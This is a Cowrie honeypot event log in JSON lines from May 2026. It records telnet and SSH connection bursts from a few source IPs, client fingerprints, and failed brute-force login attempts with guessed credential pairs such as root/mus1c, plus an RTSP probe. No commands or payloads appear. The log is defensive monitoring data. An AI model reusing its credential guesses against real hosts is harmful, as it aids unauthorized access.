{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1634,"dst_ip":"10.17.0.5","dst_port":23,"session":"8632bccf4a06","protocol":"telnet","message":"New connection: 34.140.181.131:1634 (10.17.0.5:23) [session: 8632bccf4a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:17.236759Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1642,"dst_ip":"10.17.0.5","dst_port":23,"session":"917826ab4ee8","protocol":"telnet","message":"New connection: 34.140.181.131:1642 (10.17.0.5:23) [session: 917826ab4ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:17.392120Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1648,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c52113356d","protocol":"telnet","message":"New connection: 34.140.181.131:1648 (10.17.0.5:23) [session: 53c52113356d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:17.551701Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1662,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d50dca5b0ba","protocol":"telnet","message":"New connection: 34.140.181.131:1662 (10.17.0.5:23) [session: 0d50dca5b0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:17.707699Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1678,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c46c0b531f9","protocol":"telnet","message":"New connection: 34.140.181.131:1678 (10.17.0.5:23) [session: 0c46c0b531f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:17.863379Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1682,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd576f08df6","protocol":"telnet","message":"New connection: 34.140.181.131:1682 (10.17.0.5:23) [session: 8bd576f08df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.095753Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1686,"dst_ip":"10.17.0.5","dst_port":23,"session":"07a1de6971c6","protocol":"telnet","message":"New connection: 34.140.181.131:1686 (10.17.0.5:23) [session: 07a1de6971c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.251195Z"}
{"eventid":"cowrie.session.closed","duration":0.012665510177612305,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.263729Z","src_ip":"34.140.181.131","session":"07a1de6971c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1698,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b713503ef1","protocol":"telnet","message":"New connection: 34.140.181.131:1698 (10.17.0.5:23) [session: 42b713503ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.415034Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1714,"dst_ip":"10.17.0.5","dst_port":23,"session":"81ad7fa8d7fd","protocol":"telnet","message":"New connection: 34.140.181.131:1714 (10.17.0.5:23) [session: 81ad7fa8d7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.571677Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1722,"dst_ip":"10.17.0.5","dst_port":23,"session":"27286cc57fc2","protocol":"telnet","message":"New connection: 34.140.181.131:1722 (10.17.0.5:23) [session: 27286cc57fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.728628Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1726,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c2bad2de23","protocol":"telnet","message":"New connection: 34.140.181.131:1726 (10.17.0.5:23) [session: 99c2bad2de23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:18.889616Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1730,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3815840f2c2","protocol":"telnet","message":"New connection: 34.140.181.131:1730 (10.17.0.5:23) [session: c3815840f2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.046103Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1738,"dst_ip":"10.17.0.5","dst_port":23,"session":"580d68c3475f","protocol":"telnet","message":"New connection: 34.140.181.131:1738 (10.17.0.5:23) [session: 580d68c3475f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.203504Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1746,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c2f5612b6bd","protocol":"telnet","message":"New connection: 34.140.181.131:1746 (10.17.0.5:23) [session: 9c2f5612b6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.361105Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1752,"dst_ip":"10.17.0.5","dst_port":23,"session":"95d5666cfc82","protocol":"telnet","message":"New connection: 34.140.181.131:1752 (10.17.0.5:23) [session: 95d5666cfc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.517764Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1760,"dst_ip":"10.17.0.5","dst_port":23,"session":"decfa95fc597","protocol":"telnet","message":"New connection: 34.140.181.131:1760 (10.17.0.5:23) [session: decfa95fc597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.674465Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.679519Z","src_ip":"34.140.181.131","session":"decfa95fc597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1768,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc79c56a44c1","protocol":"telnet","message":"New connection: 34.140.181.131:1768 (10.17.0.5:23) [session: cc79c56a44c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.832751Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1772,"dst_ip":"10.17.0.5","dst_port":23,"session":"34030fbbf828","protocol":"telnet","message":"New connection: 34.140.181.131:1772 (10.17.0.5:23) [session: 34030fbbf828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:19.987168Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1784,"dst_ip":"10.17.0.5","dst_port":23,"session":"6119c3021e51","protocol":"telnet","message":"New connection: 34.140.181.131:1784 (10.17.0.5:23) [session: 6119c3021e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.141348Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":60106,"dst_ip":"159.203.135.109","dst_port":22,"session":"223b8ea4318d","protocol":"ssh","message":"New connection: 36.95.194.51:60106 (159.203.135.109:22) [session: 223b8ea4318d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.309757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.314343Z","src_ip":"36.95.194.51","session":"223b8ea4318d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1796,"dst_ip":"10.17.0.5","dst_port":23,"session":"f501a2fce725","protocol":"telnet","message":"New connection: 34.140.181.131:1796 (10.17.0.5:23) [session: f501a2fce725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.330704Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1810,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1ad7c78557","protocol":"telnet","message":"New connection: 34.140.181.131:1810 (10.17.0.5:23) [session: 2c1ad7c78557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.485343Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.582441Z","src_ip":"36.95.194.51","session":"223b8ea4318d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1814,"dst_ip":"10.17.0.5","dst_port":23,"session":"058d5edcdc9a","protocol":"telnet","message":"New connection: 34.140.181.131:1814 (10.17.0.5:23) [session: 058d5edcdc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.641694Z"}
{"eventid":"cowrie.session.closed","duration":0.00567936897277832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.647230Z","src_ip":"34.140.181.131","session":"058d5edcdc9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1824,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e40669e7cef","protocol":"telnet","message":"New connection: 34.140.181.131:1824 (10.17.0.5:23) [session: 2e40669e7cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.798892Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.181.131","src_port":1838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0726d7dd875","protocol":"telnet","message":"New connection: 34.140.181.131:1838 (10.17.0.5:23) [session: b0726d7dd875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.955427Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 1219","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 1219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:20.964582Z","src_ip":"34.140.181.131","session":"b0726d7dd875","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mus1c","message":"login attempt [root/mus1c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:21.687465Z","src_ip":"36.95.194.51","session":"223b8ea4318d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:22.958581Z","src_ip":"36.95.194.51","session":"223b8ea4318d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":54514,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4227dacea64","protocol":"ssh","message":"New connection: 45.123.110.70:54514 (159.203.135.109:22) [session: b4227dacea64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:27.786652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:27.791129Z","src_ip":"45.123.110.70","session":"b4227dacea64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:28.024867Z","src_ip":"45.123.110.70","session":"b4227dacea64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jonh","message":"login attempt [root/jonh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:28.991769Z","src_ip":"45.123.110.70","session":"b4227dacea64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:30.237842Z","src_ip":"45.123.110.70","session":"b4227dacea64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.439545154571533,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.924771Z","src_ip":"34.140.181.131","session":"2c1ad7c78557","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.982285976409912,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.937579Z","src_ip":"34.140.181.131","session":"b0726d7dd875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.146050930023193,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.944791Z","src_ip":"34.140.181.131","session":"2e40669e7cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.806864261627197,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.948098Z","src_ip":"34.140.181.131","session":"6119c3021e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.620764255523682,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.951223Z","src_ip":"34.140.181.131","session":"f501a2fce725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.967445611953735,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.954480Z","src_ip":"34.140.181.131","session":"34030fbbf828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.124543905258179,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.957180Z","src_ip":"34.140.181.131","session":"cc79c56a44c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.286072969436646,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.960420Z","src_ip":"34.140.181.131","session":"decfa95fc597","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.445305347442627,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.962918Z","src_ip":"34.140.181.131","session":"95d5666cfc82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.605457782745361,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.966423Z","src_ip":"34.140.181.131","session":"9c2f5612b6bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.766229629516602,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.969602Z","src_ip":"34.140.181.131","session":"580d68c3475f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.933425664901733,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.979406Z","src_ip":"34.140.181.131","session":"c3815840f2c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.094004154205322,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.983479Z","src_ip":"34.140.181.131","session":"99c2bad2de23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.258684873580933,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.987146Z","src_ip":"34.140.181.131","session":"27286cc57fc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.419418811798096,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.990946Z","src_ip":"34.140.181.131","session":"81ad7fa8d7fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.579303979873657,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.994187Z","src_ip":"34.140.181.131","session":"42b713503ef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.90183424949646,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:33.997408Z","src_ip":"34.140.181.131","session":"8bd576f08df6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.137478828430176,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.000724Z","src_ip":"34.140.181.131","session":"0c46c0b531f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.296998023986816,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.004553Z","src_ip":"34.140.181.131","session":"0d50dca5b0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.72104024887085,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.008668Z","src_ip":"34.140.181.131","session":"33ce4358f5a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.460057020187378,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.011589Z","src_ip":"34.140.181.131","session":"53c52113356d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.622491121292114,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.014461Z","src_ip":"34.140.181.131","session":"917826ab4ee8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.781150341033936,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.017769Z","src_ip":"34.140.181.131","session":"8632bccf4a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.251842498779297,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.020670Z","src_ip":"34.140.181.131","session":"03dc61d48b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.942801237106323,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.023390Z","src_ip":"34.140.181.131","session":"d57462164ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.102771520614624,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.027003Z","src_ip":"34.140.181.131","session":"3fcc685a3e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.416762351989746,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:19:34.030284Z","src_ip":"34.140.181.131","session":"d9f274b5effd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":53356,"dst_ip":"159.203.135.109","dst_port":22,"session":"736764fcaa0e","protocol":"ssh","message":"New connection: 198.98.62.211:53356 (159.203.135.109:22) [session: 736764fcaa0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:01.787034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:01.792539Z","src_ip":"198.98.62.211","session":"736764fcaa0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:01.798448Z","src_ip":"198.98.62.211","session":"736764fcaa0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:20:01.856735Z","src_ip":"198.98.62.211","session":"736764fcaa0e","protocol":"ssh"}
